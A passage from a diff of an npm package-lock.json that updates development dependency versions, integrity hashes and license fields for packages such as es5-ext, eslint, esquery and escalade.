+        "available-typed-arrays": "^1.0.7",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "data-view-buffer": "^1.0.2",
+        "data-view-byte-length": "^1.0.2",
+        "data-view-byte-offset": "^1.0.1",
+        "es-define-property": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
+        "es-set-tostringtag": "^2.1.0",
+        "es-to-primitive": "^1.3.0",
+        "function.prototype.name": "^1.1.8",
+        "get-intrinsic": "^1.3.0",
+        "get-proto": "^1.0.1",
+        "get-symbol-description": "^1.1.0",
+        "globalthis": "^1.0.4",
+        "gopd": "^1.2.0",
+        "has-property-descriptors": "^1.0.2",
+        "has-proto": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "hasown": "^2.0.2",
+        "internal-slot": "^1.1.0",
+        "is-array-buffer": "^3.0.5",
         "is-callable": "^1.2.7",
-        "is-negative-zero": "^2.0.2",
-        "is-regex": "^1.1.4",
-        "is-shared-array-buffer": "^1.0.2",
-        "is-string": "^1.0.7",
-        "is-typed-array": "^1.1.10",
-        "is-weakref": "^1.0.2",
-        "object-inspect": "^1.12.3",
+        "is-data-view": "^1.0.2",
+        "is-negative-zero": "^2.0.3",
+        "is-regex": "^1.2.1",
+        "is-set": "^2.0.3",
+        "is-shared-array-buffer": "^1.0.4",
+        "is-string": "^1.1.1",
+        "is-typed-array": "^1.1.15",
+        "is-weakref": "^1.1.1",
+        "math-intrinsics": "^1.1.0",
+        "object-inspect": "^1.13.4",
         "object-keys": "^1.1.1",
-        "object.assign": "^4.1.4",
-        "regexp.prototype.flags": "^1.5.0",
-        "safe-array-concat": "^1.0.0",
-        "safe-regex-test": "^1.0.0",
-        "string.prototype.trim": "^1.2.7",
-        "string.prototype.trimend": "^1.0.6",
-        "string.prototype.trimstart": "^1.0.6",
-        "typed-array-buffer": "^1.0.0",
-        "typed-array-byte-length": "^1.0.0",
-        "typed-array-byte-offset": "^1.0.0",
-        "typed-array-length": "^1.0.4",
-        "unbox-primitive": "^1.0.2",
-        "which-typed-array": "^1.1.10"
+        "object.assign": "^4.1.7",
+        "own-keys": "^1.0.1",
+        "regexp.prototype.flags": "^1.5.4",
+        "safe-array-concat": "^1.1.3",
+        "safe-push-apply": "^1.0.0",
+        "safe-regex-test": "^1.1.0",
+        "set-proto": "^1.0.0",
+        "stop-iteration-iterator": "^1.1.0",
+        "string.prototype.trim": "^1.2.10",
+        "string.prototype.trimend": "^1.0.9",
+        "string.prototype.trimstart": "^1.0.8",
+        "typed-array-buffer": "^1.0.3",
+        "typed-array-byte-length": "^1.0.3",
+        "typed-array-byte-offset": "^1.0.4",
+        "typed-array-length": "^1.0.7",
+        "unbox-primitive": "^1.1.0",
+        "which-typed-array": "^1.1.19"
       },
       "engines": {
         "node": ">= 0.4"
@@ -2700,31 +2931,68 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz",
       "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/es-define-property": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
+      "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-object-atoms": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
+      "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
     },
     "node_modules/es-set-tostringtag": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.0.1.tgz",
-      "integrity": "sha512-g3OMbtlwY3QewlqAiMLI47KywjWZoEytKr8pf6iTC8uJq5bIAH52Z9pnQ8pVL6whrCto53JZDuUIsifGeLorTg==",
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz",
+      "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "get-intrinsic": "^1.1.3",
-        "has": "^1.0.3",
-        "has-tostringtag": "^1.0.0"
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.6",
+        "has-tostringtag": "^1.0.2",
+        "hasown": "^2.0.2"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/es-to-primitive": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz",
-      "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==",
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz",
+      "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-callable": "^1.1.4",
-        "is-date-object": "^1.0.1",
-        "is-symbol": "^1.0.2"
+        "is-callable": "^1.2.7",
+        "is-date-object": "^1.0.5",
+        "is-symbol": "^1.0.4"
       },
       "engines": {
         "node": ">= 0.4"
@@ -2734,14 +3002,16 @@
       }
     },
     "node_modules/es5-ext": {
-      "version": "0.10.62",
-      "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.62.tgz",
-      "integrity": "sha512-BHLqn0klhEpnOKSrzn/Xsz2UIW8j+cGmo9JLzr8BiUapV8hPL9+FliFqjwr9ngW7jWdnxv6eO+/LqyhJVqgrjA==",
+      "version": "0.10.64",
+      "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.64.tgz",
+      "integrity": "sha512-p2snDhiLaXe6dahss1LddxqEm+SkuDvV8dnIQG0MWjyHpcMNfXKPE+/Cc0y+PhxJX3A4xGNeFCj5oc0BUh6deg==",
       "dev": true,
       "hasInstallScript": true,
+      "license": "ISC",
       "dependencies": {
         "es6-iterator": "^2.0.3",
         "es6-symbol": "^3.1.3",
+        "esniff": "^2.0.1",
         "next-tick": "^1.1.0"
       },
       "engines": {
@@ -2753,6 +3023,7 @@
       "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz",
       "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "d": "1",
         "es5-ext": "^0.10.35",
@@ -2764,6 +3035,7 @@
       "resolved": "https://registry.npmjs.org/es6-map/-/es6-map-0.1.5.tgz",
       "integrity": "sha512-mz3UqCh0uPCIqsw1SSAkB/p0rOzF/M0V++vyN7JqlPtSW/VsYgQBvVvqMLmfBuyMzTpLnNqi6JmcSizs4jy19A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "d": "1",
         "es5-ext": "~0.10.14",
@@ -2778,6 +3050,7 @@
       "resolved": "https://registry.npmjs.org/es6-set/-/es6-set-0.1.6.tgz",
       "integrity": "sha512-TE3LgGLDIBX332jq3ypv6bcOpkLO0AslAQo7p2VqX/1N46YNsvIWgvjojjSEnWEGWMhr1qUbYeTSir5J6mFHOw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "d": "^1.0.1",
         "es5-ext": "^0.10.62",
@@ -2790,27 +3063,26 @@
         "node": ">=0.12"
       }
     },
-    "node_modules/es6-set/node_modules/type": {
-      "version": "2.7.2",
-      "resolved": "https://registry.npmjs.org/type/-/type-2.7.2.tgz",
-      "integrity": "sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw==",
-      "dev": true
-    },
     "node_modules/es6-symbol": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz",
-      "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==",
+      "version": "3.1.4",
+      "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.4.tgz",
+      "integrity": "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
-        "d": "^1.0.1",
-        "ext": "^1.1.2"
+        "d": "^1.0.2",
+        "ext": "^1.7.0"
+      },
+      "engines": {
+        "node": ">=0.12"
       }
     },
     "node_modules/escalade": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
-      "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+      "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -2820,6 +3092,7 @@
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
       "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.8.0"
       }
@@ -2829,6 +3102,7 @@
       "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.3.tgz",
       "integrity": "sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "esprima": "^4.0.1",
         "estraverse": "^4.2.0",
@@ -2851,6 +3125,7 @@
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "optional": true,
       "engines": {
         "node": ">=0.10.0"
@@ -2860,7 +3135,9 @@
       "version": "5.16.0",
       "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.16.0.tgz",
       "integrity": "sha512-S3Rz11i7c8AA5JPv7xAH+dOyq/Cu/VXHiHXBPOU1k/JAM5dXqQPt3qcrhpHSorXmrpu2g0gkIBVXAqCpzfoZIg==",
+      "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/code-frame": "^7.0.0",
         "ajv": "^6.9.1",
@@ -2911,6 +3188,7 @@
       "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz",
       "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "esrecurse": "^4.1.0",
         "estraverse": "^4.1.1"
@@ -2924,6 +3202,7 @@
       "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.4.3.tgz",
       "integrity": "sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "eslint-visitor-keys": "^1.1.0"
       },
@@ -2936,15 +3215,33 @@
       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz",
       "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=4"
       }
     },
+    "node_modules/esniff": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/esniff/-/esniff-2.0.1.tgz",
+      "integrity": "sha512-kTUIGKQ/mDPFoJ0oVfcmyJn4iBDRptjNVIzwIFR7tqWXdVI9xfA2RMwY/gbSpJG3lkdWNEjLap/NqVHZiJsdfg==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "d": "^1.0.1",
+        "es5-ext": "^0.10.62",
+        "event-emitter": "^0.3.5",
+        "type": "^2.7.2"
+      },
+      "engines": {
+        "node": ">=0.10"
+      }
+    },
     "node_modules/espree": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/espree/-/espree-5.0.1.tgz",
       "integrity": "sha512-qWAZcWh4XE/RwzLJejfcofscgMc9CamR6Tn1+XRXNzrvUSSbiAjGOI/fggztjIi7y9VLPqnICMIPiGyr8JaZ0A==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "acorn": "^6.0.7",
         "acorn-jsx": "^5.0.0",
@@ -2959,6 +3256,7 @@
       "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
       "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "bin": {
         "esparse": "bin/esparse.js",
         "esvalidate": "bin/esvalidate.js"
@@ -2981,10 +3279,11 @@
       }
     },
     "node_modules/esquery": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz",
-      "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==",
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz",
+      "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "estraverse": "^5.1.0"
       },
@@ -2997,6 +3296,7 @@
       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
       "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=4.0"
       }
@@ -3006,6 +3306,7 @@
       "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
       "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "estraverse": "^5.2.0"
       },
@@ -3018,6 +3319,7 @@
       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
       "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=4.0"
       }
@@ -3027,6 +3329,7 @@
       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
       "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=4.0"
       }
@@ -3035,13 +3338,15 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/estree-is-function/-/estree-is-function-1.0.0.tgz",
       "integrity": "sha512-nSCWn1jkSq2QAtkaVLJZY2ezwcFO161HVc174zL1KPW3RJ+O6C3eJb8Nx7OXzvhoEv+nLgSR1g71oWUHUDTrJA==",
-      "dev": true
+      "dev": true,
+      "license": "Apache-2.0"
     },
     "node_modules/esutils": {
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
       "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -3051,6 +3356,7 @@
       "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz",
       "integrity": "sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "d": "1",
         "es5-ext": "~0.10.14"
@@ -3061,6 +3367,7 @@
       "resolved": "https://registry.npmjs.org/events/-/events-2.1.0.tgz",
       "integrity": "sha512-3Zmiobend8P9DjmKAty0Era4jV8oJ0yGYe2nJJAxgymF9+N8F2m0hhZiMoWtcfepExzNKZumFU3ksdQbInGWCg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.x"
       }
@@ -3070,6 +3377,7 @@
       "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz",
       "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "md5.js": "^1.3.4",
         "safe-buffer": "^5.1.1"
@@ -3079,13 +3387,15 @@
       "version": "0.3.6",
       "resolved": "https://registry.npmjs.org/exec-sh/-/exec-sh-0.3.6.tgz",
       "integrity": "sha512-nQn+hI3yp+oD0huYhKwvYI32+JFeq+XkNcD1GAo3Y/MjxsfVGmrrzrnzjWiNY6f+pUCP440fThsFh5gZrRAU/w==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/execa": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz",
       "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cross-spawn": "^6.0.0",
         "get-stream": "^4.0.0",
@@ -3113,6 +3423,7 @@
       "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
       "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "debug": "^2.3.3",
         "define-property": "^0.2.5",
@@ -3131,6 +3442,7 @@
       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
       "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ms": "2.0.0"
       }
@@ -3140,6 +3452,7 @@
       "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
       "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-descriptor": "^0.1.0"
       },
@@ -3152,6 +3465,7 @@
       "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
       "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-extendable": "^0.1.0"
       },
@@ -3159,66 +3473,18 @@
         "node": ">=0.10.0"
       }
     },
-    "node_modules/expand-brackets/node_modules/is-accessor-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
-      "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-      "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
-      "dev": true,
-      "dependencies": {
-        "is-buffer": "^1.1.5"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/expand-brackets/node_modules/is-data-descriptor": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
-      "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-      "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
-      "dev": true,
-      "dependencies": {
-        "is-buffer": "^1.1.5"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
     "node_modules/expand-brackets/node_modules/is-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
-      "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+      "version": "0.1.7",
+      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.7.tgz",
+      "integrity": "sha512-C3grZTvObeN1xud4cRWl366OMXZTj0+HGyk4hvfpx4ZHt1Pb60ANSXqCK7pdOTeUQpRzECBSTphqvD7U+l22Eg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-accessor-descriptor": "^0.1.6",
-        "is-data-descriptor": "^0.1.4",
-        "kind-of": "^5.0.0"
+        "is-accessor-descriptor": "^1.0.1",
+        "is-data-descriptor": "^1.0.1"
       },
       "engines": {
-        "node": ">=0.10.0"
+        "node": ">= 0.4"
       }
     },
     "node_modules/expand-brackets/node_modules/is-extendable": {
@@ -3226,15 +3492,7 @@
       "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
       "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
       "dev": true,
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/expand-brackets/node_modules/kind-of": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
-      "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
-      "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -3243,13 +3501,15 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
       "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/expect": {
       "version": "24.9.0",
       "resolved": "https://registry.npmjs.org/expect/-/expect-24.9.0.tgz",
       "integrity": "sha512-wvVAx8XIol3Z5m9zvZXiyZOQ+sRJqNTIm6sGjdWlaZIeupQGO3WbYI+15D/AmEwZywL6wtJkbAbJtzkOfBuR0Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0",
         "ansi-styles": "^3.2.0",
@@ -3267,6 +3527,7 @@
       "resolved": "https://registry.npmjs.org/exposify/-/exposify-0.5.0.tgz",
       "integrity": "sha512-SXS1oEW6VXYinz7RbTPUj+RhO3ZXuj2cmUTWTaO8KcWMcxLZF3wzjqSuaOW0EZYBoKooUM8DIkvfWWOMXTMQFQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "globo": "~1.1.0",
         "map-obj": "~1.0.1",
@@ -3279,19 +3540,22 @@
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
       "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/exposify/node_modules/object-keys": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-0.4.0.tgz",
       "integrity": "sha512-ncrLw+X55z7bkl5PnUvHwFK9FcGuFYo9gtjws2XtSzL+aZ8tm830P60WJ0dSmFVaSalWieW5MD7kEdnXda9yJw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/exposify/node_modules/readable-stream": {
       "version": "1.0.34",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz",
       "integrity": "sha512-ok1qVCJuRkNmvebYikljxJA/UEsKwLl2nI1OmaqAu4/UE+h0wKCHok4XkL/gvi39OacXvw59RJUOFUkDib2rHg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.1",
@@ -3303,13 +3567,15 @@
       "version": "0.10.31",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
       "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/exposify/node_modules/through2": {
       "version": "0.4.2",
       "resolved": "https://registry.npmjs.org/through2/-/through2-0.4.2.tgz",
       "integrity": "sha512-45Llu+EwHKtAZYTPPVn3XZHBgakWMN3rokhEv5hu596XP+cNgplMg+Gj+1nmAvj+L0K7+N49zBKx5rah5u0QIQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "readable-stream": "~1.0.17",
